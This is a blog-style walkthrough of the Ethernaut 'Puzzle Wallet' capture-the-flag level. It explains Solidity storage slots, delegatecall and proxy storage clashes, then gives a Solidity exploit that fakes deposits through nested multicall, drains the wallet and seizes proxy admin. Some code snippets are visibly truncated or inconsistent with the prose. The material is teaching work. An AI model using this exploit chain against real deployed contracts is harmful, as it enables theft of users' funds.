# Ethernaut - Puzzle Wallet walkthrough

## Pitfalls of the Proxy pattern and delegatecalls

ยท

Ethernaut's PuzzleWallet (level 24, as of Jul 2022) is one of the most challenging and interesting levels I found on Ethernaut.

The staged exploit needed to crack this level is bound to make any smart contract developer want to become a smart contract auditor! It's thrilling!

# Foreword

Designing an exploit for this level is really simple and easy, but, the devil is knowing the concepts behind the vulnerabilities and chaining them for the attack.

This walkthrough would first describe the concepts you need for this level, then proceed to walk you through my solution.

# Concepts needed

## Storage locations

Ever wondered how smart contracts really store data? Every smart contract has an address in the State trie, that in turn contains a pointer to a location in the Storage trie that sequentially stores a contract's declared variables.

### Sequence of variables

Storage on smart contracts is arranged in sequential 32 byte (256 bit) slots. To visualise this, imagine shipping containers of equal size placed in a single line.

Storage variables declared in a smart contract occupy these slots in the order of their declaration. For example, if a contract has 2 declared storage variables -

``````uint256 varA = 0xA; // slot 0
uint256 varB = 0xB; // slot 1
``````

What this actually means is that `0xA` is stored at storage slot #0, and `0xB` is stored at storage slot #1.

### Packing

There's an opportunity of optimising storage. Think about it. In the previous example, what if we were storing addresses in place of 32 byte unsigned integers? It would take only 20 bytes, not 32. So, what happens to the remaining space?

What solidity does, is that after it fills in the first variable's value in the first slot, it checks whether the second variable's value can COMPLETELY fit in the remaining space. If yes, it does that, and moves on to the next variable. If not, it moves on to the next storage slot and attempts to store it there. This continues for all variables.

Take this as an example:

``````address varA; // slot 0
uint32 varB; // slot 0
uint32 varC; // slot 0
uint32 varD; // slot 0
``````

They would all occupy the same storage slot, because they can perfectly fit in 32 bytes.

Let's take another example:

``````address someAddr; // slot 0
uint32 varA; // slot 0
uint32 varB; // slot 1
``````

This time, the first slot would only be occupied by `someAddr` and `varA`, because the next variable, `anotherAddr`, is too big to fit in the remaining space.

## DelegateCall

You must be knowing that smart contracts can communicate with each other, i.e, call each other's exposed functions. However, when a contract calls another contract's functions, the execution context changes to the called contract, meaning, you cannot, say, access storage variables or functions defined in the calling contract.

On-chain storage is very expensive. Wouldn't it be smart if we could deploy reusable code once on chain, then access it through other contracts, instead of deploying contracts with the same code?

This would require us to call the reusable code in such a way that it behaves as if it was present in the calling contract itself, meaning, we can now access the storage of the calling contract while reusing code on chain.

This is where `delegatecall` comes in.

`delegatecall` is used for the Delegate pattern to achieve exactly this. It is used to call a function on an already deployed contract, simulating as if that function was present on the calling contract itself.

Since this is supposed to keep the execution context the same as the calling contract, most global variables, like `msg.sender`, `msg.value` remains the same when the called function gets executed.

In addition to this, accessing/modifying nth storage slot in the called function actually accesses/modifies nth slot in the calling contract.

A consequence of this is, it might cause unintended storage collisions between the calling contract and the called contract. Here's an example:

``````// ContractA.sol

function getPayout(uint256 _salary) external returns (uint256){
(bool success, bytes memory data) = contractB.delegatecall(abi.encodeWithSignature(
_salary
));
uint256 payout = abi.decode(data, (uint256));
return payout;
}
``````
``````// ContractB.sol

uint256 constant bonusFixed = 1000;

function addBonus(uint256 _salary) external view returns (uint256) {
return (_salary + bonusFixed);
}
``````

If you pass a salary of 10,000 to `getPayout()` of contract A, you might think you would get 11,000 as the returned value. Well nope! You would get the result of `10000 + 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF`.

Why? Because `addBonus()` in contract B tried accessing `bonusFixed` (at storage slot #0), which actually referred to `owner` in contract B (also stored in slot #0).

## `msg.value`

`msg.value` is a global variable that stores the value that was sent along the transaction by the caller.

One interesting property of this value is that it does not reflect the consumption of this value in a `payable` function. For example, if a payable function accessed this value, it wouldn't show up as 0, although the value got added to the contract's funds before the function execution started.

This value remains the same throughout a transaction, including when `delegatecall`s are used.

## ERC1967 Proxy pattern

Blockchain is basically an immutable storage. Contracts, once deployed, cannot be edited. What it means, is that if you ever find bugs in your code after you deploy your contract, or need to add/edit some functionality, you can't do that!

You might deploy a new contract, yes, but you'd then need to tell people about the new address, and migrate all funds and data from the old contract to the new one. That's tedious, and most people would actually lose their trust in your project.

You can use `delegatecall` to be clever and work around this.

Imagine a fixed smart contract that just delegates calls to another smart contract which actually stores the logic. The fixed contract just stores the address of the logic contract in a mutable variable.

What this would do, is allow people to keep accessing your smart contract at a fixed address, while allowing you to deploy a newer version of your code in a new smart contract, and just change the logic contract's address in the fixed contract, to delegate calls to the newer code now.

The 'fixed' contract is called a 'Proxy contract', whereas the 'logic' contract is called an 'Implementation contract'. The proxy just delegates all calls to the implementation contract, simulating as if the caller called the implementation contract directly.

There are many patterns to implement a Proxy. In this level, they used an "UpgradeableProxy", which would be named as "ERC1967Proxy" in the next Openzeppelin contracts' release.

What it does, is provide functionality to delegate calls to an implementation contract of your choice. A reference to this implementation contract (its address) is stored in the proxy contract at a far-away explicitly predefined slot (to prevent storage clashes with #0, #1,...). You also get functionalities to 'upgrade' the implementation, meaning, point it to a newer version of the implementation contract.

# Auditing

Let's walk through the challenge description first.

The objective is simple - we need to become the admin of the Proxy.

Let's walk through the code now, try to see if we find vulnerabilities to chain and send our attack.

Something we see right off the bat is that the Proxy and the implementation contract has unintended storage clashes - `pendingAdmin` and `admin` in the proxy occupy the same slots as `owner` and `maxBalance` in the implementation contract respectively.

## Storage slot #0 clash

In the proxy contract, we see that this function allows unauthenticated change of the `pendingAdmin`, and thus, `owner` when delegating calls to the implementation.

``````function proposeNewAdmin(address _newAdmin) external {
}
``````

## Storage slot #1 clash

Now, let's turn our attention to the implementation. We know that overwriting the `maxBalance` would change `admin` when accessed via the proxy directly. And, we see a function for doing exactly that:

``````function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
``````

But, to do this, two conditions need to be satisfied:

1. The caller must be whitelisted
2. The contract must have 0 funds (which it won't when you deploy an instance)

For the first one, we see that we have a function that we can use to whitelist anyone, but, only the `owner` can execute it. But we can become the owner, can we not? We planned this in the last section.

``````function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
}
``````

For the second one, we need to somehow drain out the funds in the contract. Hmm...

## Using `msg.value` naively

There's a function there that seems to allow us to make arbitrary calls with whatever value we had previously made deposits against our address:

``````function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{value: value}(data);
require(success, "Execution failed");
}
``````

And, the deposits are to be made via this function:

``````function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
}
``````

The logic is simple: Whenever you make a deposit, the real value you provide gets added to the contract's funds and gets recorded against your address in a mapping. You can only execute transactions later with this value recorded, and no more.

Seems flawless. Every `deposit()` call adds a single amount to your balance. There's no mismatch between what you provide and what gets recorded...

...until, you see the next function that allows you to run a `multicall`:

``````function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
require(success, "Error while delegating call");
}
}
``````

What it allows you to do is to provide an array of data that will then get sequentially, individually executed via a `delegatecall` to itself (the same contract).

Recall that `msg.value` remains same throughout a transaction, even with `delegatecall`s. What if we just chain multiple `deposit()` calls with the array?

The same `msg.value` would ensure that, say, by depositing 0.001 ETH and running the `deposit()` function 10 times, we would cause an incorrect recording of 0.01 ETH against our address, thus breaking the logic.

However, the function protects against this, by checking if the data we provide are calls to `deposit()`, using a simple selector matching. Thus, we cannot call `deposit()` directly more than once, because calling it once sets `depositCalled` to `true`, which prevents a second `deposit()` invocation.

But, what if...we call `multicall()` n times from one main call of `multicall()`, each of the sub-call calling `deposit()` once? Each sub-call would then use a different stack, and thus, have have a different `depositCalled` variable, but they would still be using the same `msg.value`!

This will totally work!

We would then proceed to call `execute()`, providing such a value that drains out all funds. We can do this now, because we have control over what gets recorded against our deposits, meaning, we can totally become Elon Musk in the eyes of the implementation contract.

Finally, we would change the `maxBalance`, set it to the same as the `uint256` form of our address, and et voila, we would become the proxy `admin`.

# Hacking

Let's chain all the above vulnerabilities we discovered to chain our attack.

1. Become implementation contract's `owner` by invoking `proposeNewAdmin()` on the proxy.
2. Whitelist ourselves on the implementation contract by invoking `addToWhitelist()` on the implementation.
3. Make false deposits against our address, larger than the actual value we are willing to send for the hack. The deposit amount must be such that it should allow withdrawing both our actual deposit AND the contract's previous entire balance.
4. Drain out all funds from the contract with `execute()`.
5. Set ourselves as the new `admin` on the proxy by setting `maxBalance` via `setMaxBalance()`.

For step 3, what I did is simple:

Get target contract's balance, send (1/n)th of it as value and cause a false recording for a total of n times. This is to provide a very less value while still stealing all funds!

This is my code for this:

``````/**
@dev Must be sent with the correct value. Use the helper function above to pre-calculate this.
@param _fractionOfBalanceToSend Fraction of the proxy contract's balance to use for the hack
*/
external
payable
{
// Init

// 1. Make this contract the wallet owner

// 2. Whitelist this contract in wallet

// 3. False deposit against this contract's address
bytes[] memory dataToSendStage2Individual = new bytes[](1);
dataToSendStage2Individual[0] = abi.encodeWithSignature("deposit()");

bytes memory dataToSendStage1Individual = abi.encodeWithSignature(
"multicall(bytes[])",
dataToSendStage2Individual
);

_fractionOfBalanceToSend;
require(msg.value == balanceToDeposit, "NEEDS CORRECT VALUE");

bytes[] memory dataToSend = new bytes[](_fractionOfBalanceToSend + 1);
for (uint256 i = 0; i < (_fractionOfBalanceToSend + 1); i++) {
dataToSend[i] = dataToSendStage1Individual;
}
wallet.multicall{value: balanceToDeposit}(dataToSend);

// 4. Drain out Puzzle Wallet
wallet.execute(
msg.sender,
balanceToDeposit * (_fractionOfBalanceToSend + 1),
""
);

// 5. Make caller as Proxy admin
wallet.setMaxBalance(uint256(msg.sender));
}
``````

Try running this in Remix IDE or your local machine to see this in action! For my complete hack contract (includes some helper methods), see this:

# Takeaways

It's 10 PM here now, so I'll be lazy and just paste what Ethernaut says after you solve the challenge:

Frequently, using proxy contracts is highly recommended to bring upgradeability features and reduce the deployment's gas cost. However, developers must be careful not to introduce storage collisions, as seen in this level.

Furthermore, iterating over operations that consume ETH can lead to issues if it is not handled correctly. Even if ETH is spent, msg.value will remain the same, so the developer must manually keep track of the actual remaining amount on each iteration. This can also lead to issues when using a multi-call pattern, as performing multiple delegatecalls to a function that looks safe on its own could lead to unwanted transfers of ETH, as delegatecalls keep the original msg.value sent to the contract.

See you in my next article! ๐

ย